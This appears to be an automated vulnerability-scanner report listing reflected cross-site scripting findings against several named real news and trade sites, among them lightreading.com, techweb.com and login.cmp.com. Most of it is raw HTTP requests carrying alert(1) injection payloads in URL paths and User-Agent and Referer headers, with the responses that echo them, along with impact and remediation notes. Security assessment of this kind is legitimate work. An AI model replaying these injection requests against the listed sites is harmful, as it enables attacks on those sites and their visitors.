HTTP/1.1 200 OK Cache-Control: private Content-Length: 38127 Content-Type: text/html Server: Microsoft-IIS/7.0 Set-Cookie: PORTAL=NEWUSERSITE=&DIDIPLKUP=Y&USERSTATE=CALIFORNIA&HTTPREFERRER=&USERGID=661295971427432086&USERCOUNTRY=US&CookieVersion=1%2E8&PARTNER=TECHCAREERS; expires=Sun, 11-Dec-2011 05:00:00 GMT; path=/ Set-Cookie: Visitor=NewSessionID=CE06C990%2D87A0%2D48F0%2DA28B%2DEE24AAB980F1; path=/ Set-Cookie: ASPSESSIONIDAQDDQTBB=FDJCEPKBHILMLNFMFPMDCAMD; path=/ X-Powered-By: ASP.NET Date: Sun, 12 Dec 2010 03:36:04 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.35. http://www.techcareers.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.techcareers.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 22f76><a>9363aa6a588 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /?22f76><a>9363aa6a588=1 HTTP/1.1 Host: www.techcareers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 38127 Content-Type: text/html Server: Microsoft-IIS/7.0 Set-Cookie: PORTAL=NEWUSERSITE=&DIDIPLKUP=Y&USERSTATE=CALIFORNIA&HTTPREFERRER=&USERGID=771222156774489298&USERCOUNTRY=US&CookieVersion=1%2E8&PARTNER=TECHCAREERS; expires=Sun, 11-Dec-2011 05:00:00 GMT; path=/ Set-Cookie: Visitor=NewSessionID=9A1344C5%2D6225%2D4D1B%2DA8CA%2D0527A11C4CDC; path=/ Set-Cookie: ASPSESSIONIDAQDDQTBB=IBJCEPKBOIFPHLGNPJIKGINM; path=/ X-Powered-By: ASP.NET Date: Sun, 12 Dec 2010 03:35:59 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 371d5"><script>alert(1)</script>40a8f1321c1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /css371d5"><script>alert(1)</script>40a8f1321c1/everything_packed.css HTTP/1.1 Host: www.techweb.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1292122948162; s_cc=true; s_sq=%5B%5BB%5D%5D; s_nr=1292122948132; PHPSESSID=1151rhqg9v4tkovt5t933m3rg6; s_lv_s=First%20Visit; __qca=P0-1771014900-1292122947029;
Response (redirected)
HTTP/1.1 200 OK Date: Sun, 12 Dec 2010 03:36:52 GMT Server: Apache X-Powered-By: PHP/5.3.2 ZendServer/5.0 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 34044
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" class="gecko firefox fir ...[SNIP]... //login.techweb.com/cas/login?service=http%3A%2F%2Fwww.techweb.com%2Fcss371d5%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E40a8f1321c1%2F&siteId=300001&successfulLoginRedirect=http://www.techweb.com/css371d5"><script>alert(1)</script>40a8f1321c1/"> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ad2eb"-alert(1)-"361ecd0189a was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9853f"-alert(1)-"776dff61f8 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /user/login.jhtml HTTP/1.1 Host: login.cmp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)9853f"-alert(1)-"776dff61f8 Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 12 Dec 2010 03:24:16 GMT Server: Apache Cache-Control: no-cache, max-age=0 Expires: Sun, 12 Dec 2010 03:24:16 GMT Last-Modified: Tue, Jan 27 2099 23:59:59 GMT Pragma: no-cache X-ATG-Version: ATGPlatform/7.2 [ DASLicense/0 DPSLicense/0 ] Set-Cookie: JSESSIONID=QPE3EKAGAMKRHQE1GHOSKH4ATMY32JVN; path=/ Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Connection: close Content-Type: text/html Vary: Accept-Encoding, User-Agent Content-Length: 12485
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head> <!--SiteCatalyst code ver ...[SNIP]...
var s_prop1=""; var s_prop2=""; var s_prop3=""; var s_prop4=""; var s_prop5=""; var s_prop6=""; var s_prop7=""; var s_prop8="174.121.222.18 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)9853f"-alert(1)-"776dff61f8"; var s_prop9=""; var s_prop10=""; var s_prop11=""; var s_prop12=""; var s_prop14=""; var s_prop15=""; var s_prop16=""; var s_prop19="False";
/* E-commerce Variables */ var s_campaign=""; ...[SNIP]...
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ef489"-alert(1)-"68a53babb52 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /user/register.jhtml HTTP/1.1 Host: login.cmp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)ef489"-alert(1)-"68a53babb52 Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 12 Dec 2010 03:24:30 GMT Server: Apache Cache-Control: no-cache, max-age=0 Expires: Sun, 12 Dec 2010 03:24:30 GMT Last-Modified: Tue, Jan 27 2099 23:59:59 GMT Pragma: no-cache X-ATG-Version: ATGPlatform/7.2 [ DASLicense/0 DPSLicense/0 ] Set-Cookie: JSESSIONID=QPOZO2DKLFOGJQE1GHRSKHWATMY32JVN; path=/ Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Connection: close Content-Type: text/html Vary: Accept-Encoding, User-Agent Content-Length: 88437
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head> <!--SiteCatalyst code ver ...[SNIP]...
var s_prop1=""; var s_prop2=""; var s_prop3=""; var s_prop4=""; var s_prop5=""; var s_prop6=""; var s_prop7=""; var s_prop8="174.121.222.18 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)ef489"-alert(1)-"68a53babb52"; var s_prop9=""; var s_prop10=""; var s_prop11=""; var s_prop12=""; var s_prop14=""; var s_prop15=""; var s_prop16=""; var s_prop19="False";
/* E-commerce Variables */ var s_campaign=""; ...[SNIP]...
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5306a"-alert(1)-"0010e129662 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET / HTTP/1.1 Host: windows7.informationweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)5306a"-alert(1)-"0010e129662 Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 12 Dec 2010 03:25:26 GMT Server: Apache Cache-Control: no-cache, max-age=0 Expires: Sun, 12 Dec 2010 03:25:26 GMT Last-Modified: Tue, Jan 27 2099 23:59:59 GMT Pragma: no-cache X-ATG-Version: ATGPlatform/7.2 [ DASLicense/0 DPSLicense/0 ] Set-Cookie: JSESSIONID=M3YUGJX20SBJHQE1GHPCKH4ATMY32JVN; path=/ Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Connection: close Content-Type: text/html Vary: Accept-Encoding, User-Agent Content-Length: 19586
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><m ...[SNIP]... ; s.channel=""; s.pageType=""; s.prop1=""; s.prop2=""; s.prop3=""; s.prop4=""; s.prop5=""; s.prop6=""; s.prop7=""; s.prop8="174.121.222.18 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)5306a"-alert(1)-"0010e129662"; s.prop9=""; s.prop10=""; s.prop11=""; s.prop12=""; s.prop14=""; s.prop15=""; s.prop16=""; s.prop19="False"; s.prop21="";
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ffa57"-alert(1)-"1087ae47ce0 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /author.asp HTTP/1.1 Host: www.contentinople.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)ffa57"-alert(1)-"1087ae47ce0 Connection: close
Response (redirected)
HTTP/1.1 200 OK Server: nginx/0.8.50 Date: Sun, 12 Dec 2010 03:26:09 GMT Content-Type: text/html Connection: close Vary: Accept-Encoding X-Powered-By: ASP.NET Content-Length: 133107 Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <META name="keywords" content="Advertising, AOL, Apple, Audio, Babelgum, Content Delivery Network (CDN), Disney, Digital ...[SNIP]... ; s.channel=""; s.pageType=""; s.prop1=""; s.prop2=""; s.prop3=""; s.prop4=""; s.prop5=""; s.prop6=""; s.prop7=""; s.prop8="174.121.222.18 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)ffa57"-alert(1)-"1087ae47ce0"; s.prop9=""; s.prop10=""; s.prop11=""; s.prop12=""; s.prop13=""; s.prop14=""; s.prop15=""; s.prop16=""; s.prop19="False"; s.prop20="";
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cee22"-alert(1)-"2fc9cff2b63 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /blog/archives/evil_bytes/index.html HTTP/1.1 Host: www.darkreading.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)cee22"-alert(1)-"2fc9cff2b63 Connection: close Cookie: s_lv=1292121547041; PHPSESSID=8efl2fv5lkgca0bau3me2u8bb0; s_nr=1292111961290; s_lv_s=Less%20than%201%20day; iwa_user_login_check=OGVmbDJmdjVsa2djYTBiYXUzbWUydThiYjA%3D;
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 29f17"-alert(1)-"5ac8323a095 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /jobs/event_board.php HTTP/1.1 Host: www.gamasutra.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)29f17"-alert(1)-"5ac8323a095 Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 12 Dec 2010 03:26:39 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.3.2 ZendServer/5.0 Connection: close Content-Type: text/html Content-Length: 86356
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <script t ...[SNIP]...
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e11a9"-alert(1)-"4d708df51b6 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /author.asp HTTP/1.1 Host: www.internetevolution.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)e11a9"-alert(1)-"4d708df51b6 Connection: close
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4f5fd"-alert(1)-"814dc640d93 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ad_redirect.asp HTTP/1.1 Host: www.lightreading.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)4f5fd"-alert(1)-"814dc640d93 Connection: close Cookie: lightreading%5Fvisits=2; s_cc=true; _bizo_cksm_crc32=3AF13A5B; s_sq=%5B%5BB%5D%5D; s_nr=1291273863933; lightreading%5Flastvisit=12%2F11%2F2010+7%3A00%3A05+PM; seen=true;
Response (redirected)
HTTP/1.1 200 OK Server: nginx/0.8.50 Date: Sun, 12 Dec 2010 03:34:52 GMT Content-Type: text/html Connection: close Vary: Accept-Encoding X-Powered-By: ASP.NET Content-Length: 262956 Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <META name="keywords" content="light reading, lightreading, magazine, telecom, telecommunications, Internet, convergence ...[SNIP]... ; s.channel=""; s.pageType=""; s.prop1=""; s.prop2=""; s.prop3=""; s.prop4=""; s.prop5=""; s.prop6=""; s.prop7=""; s.prop8="174.121.222.18 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)4f5fd"-alert(1)-"814dc640d93"; s.prop9=""; s.prop10=""; s.prop11=""; s.prop12=""; s.prop13=""; s.prop14=""; s.prop15=""; s.prop16=""; s.prop19="False"; s.prop20="";
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 82ede"-alert(1)-"abf41aca818 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /archives.asp HTTP/1.1 Host: www.lightreading.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)82ede"-alert(1)-"abf41aca818 Connection: close Cookie: lightreading%5Fvisits=2; s_cc=true; _bizo_cksm_crc32=3AF13A5B; s_sq=%5B%5BB%5D%5D; s_nr=1291273863933; lightreading%5Flastvisit=12%2F11%2F2010+7%3A00%3A05+PM; seen=true;
Response
HTTP/1.1 200 OK Server: nginx/0.8.50 Date: Sun, 12 Dec 2010 03:33:56 GMT Content-Type: text/html Connection: close Vary: Accept-Encoding X-Powered-By: ASP.NET Last-modified: Sun, 12 Dec 2010 02:33:56 GMT Expires: Sun, 10 Apr 2011 22:33:56 GMT Etag: s200805.p200805 Content-Length: 177610 Cache-control: max-age=10368000, public
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <META name="keywords" content="light reading, lightreading, magazine, telecom, telecommunications, Internet, convergence ...[SNIP]... ; s.channel=""; s.pageType=""; s.prop1=""; s.prop2=""; s.prop3=""; s.prop4=""; s.prop5=""; s.prop6=""; s.prop7=""; s.prop8="174.121.222.18 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)82ede"-alert(1)-"abf41aca818"; s.prop9=""; s.prop10=""; s.prop11=""; s.prop12=""; s.prop13=""; s.prop14=""; s.prop15=""; s.prop16=""; s.prop19="False"; s.prop20="";
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5bee7"-alert(1)-"e9001f173b was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /blog.asp HTTP/1.1 Host: www.lightreading.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)5bee7"-alert(1)-"e9001f173b Connection: close Cookie: lightreading%5Fvisits=2; s_cc=true; _bizo_cksm_crc32=3AF13A5B; s_sq=%5B%5BB%5D%5D; s_nr=1291273863933; lightreading%5Flastvisit=12%2F11%2F2010+7%3A00%3A05+PM; seen=true;
Response (redirected)
HTTP/1.1 200 OK Server: nginx/0.8.50 Date: Sun, 12 Dec 2010 03:33:03 GMT Content-Type: text/html Connection: close Vary: Accept-Encoding X-Powered-By: ASP.NET Content-Length: 259290 Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <META name="keywords" content="light reading, lightreading, magazine, telecom, telecommunications, Internet, convergence ...[SNIP]... ; s.channel=""; s.pageType=""; s.prop1=""; s.prop2=""; s.prop3=""; s.prop4=""; s.prop5=""; s.prop6=""; s.prop7=""; s.prop8="174.121.222.18 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)5bee7"-alert(1)-"e9001f173b"; s.prop9=""; s.prop10=""; s.prop11=""; s.prop12=""; s.prop13=""; s.prop14=""; s.prop15=""; s.prop16=""; s.prop19="False"; s.prop20="";
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 92853"-alert(1)-"4250cf79b83 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /calendar_webinars.asp HTTP/1.1 Host: www.lightreading.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)92853"-alert(1)-"4250cf79b83 Connection: close Cookie: lightreading%5Fvisits=2; s_cc=true; _bizo_cksm_crc32=3AF13A5B; s_sq=%5B%5BB%5D%5D; s_nr=1291273863933; lightreading%5Flastvisit=12%2F11%2F2010+7%3A00%3A05+PM; seen=true;
Response
HTTP/1.1 200 OK Server: nginx/0.8.50 Date: Sun, 12 Dec 2010 03:34:18 GMT Content-Type: text/html Connection: close Vary: Accept-Encoding X-Powered-By: ASP.NET Content-Length: 236362 Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <META name="keywords" content="light reading, lightreading, magazine, telecom, telecommunications, Internet, convergence ...[SNIP]... ; s.channel=""; s.pageType=""; s.prop1=""; s.prop2=""; s.prop3=""; s.prop4=""; s.prop5=""; s.prop6=""; s.prop7=""; s.prop8="174.121.222.18 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)92853"-alert(1)-"4250cf79b83"; s.prop9=""; s.prop10=""; s.prop11=""; s.prop12=""; s.prop13=""; s.prop14=""; s.prop15=""; s.prop16=""; s.prop19="False"; s.prop20="";
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 595f9"-alert(1)-"50c00a44cf7 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /document.asp HTTP/1.1 Host: www.lightreading.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)595f9"-alert(1)-"50c00a44cf7 Connection: close Cookie: lightreading%5Fvisits=2; s_cc=true; _bizo_cksm_crc32=3AF13A5B; s_sq=%5B%5BB%5D%5D; s_nr=1291273863933; lightreading%5Flastvisit=12%2F11%2F2010+7%3A00%3A05+PM; seen=true;
Response (redirected)
HTTP/1.1 200 OK Server: nginx/0.8.50 Date: Sun, 12 Dec 2010 03:35:06 GMT Content-Type: text/html Connection: close Vary: Accept-Encoding X-Powered-By: ASP.NET Content-Length: 262944 Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <META name="keywords" content="light reading, lightreading, magazine, telecom, telecommunications, Internet, convergence ...[SNIP]... ; s.channel=""; s.pageType=""; s.prop1=""; s.prop2=""; s.prop3=""; s.prop4=""; s.prop5=""; s.prop6=""; s.prop7=""; s.prop8="174.121.222.18 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)595f9"-alert(1)-"50c00a44cf7"; s.prop9=""; s.prop10=""; s.prop11=""; s.prop12=""; s.prop13=""; s.prop14=""; s.prop15=""; s.prop16=""; s.prop19="False"; s.prop20="";
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a5ca9"-alert(1)-"fbb394b7112 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /email.asp HTTP/1.1 Host: www.lightreading.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)a5ca9"-alert(1)-"fbb394b7112 Connection: close Cookie: lightreading%5Fvisits=2; s_cc=true; _bizo_cksm_crc32=3AF13A5B; s_sq=%5B%5BB%5D%5D; s_nr=1291273863933; lightreading%5Flastvisit=12%2F11%2F2010+7%3A00%3A05+PM; seen=true;
Response (redirected)
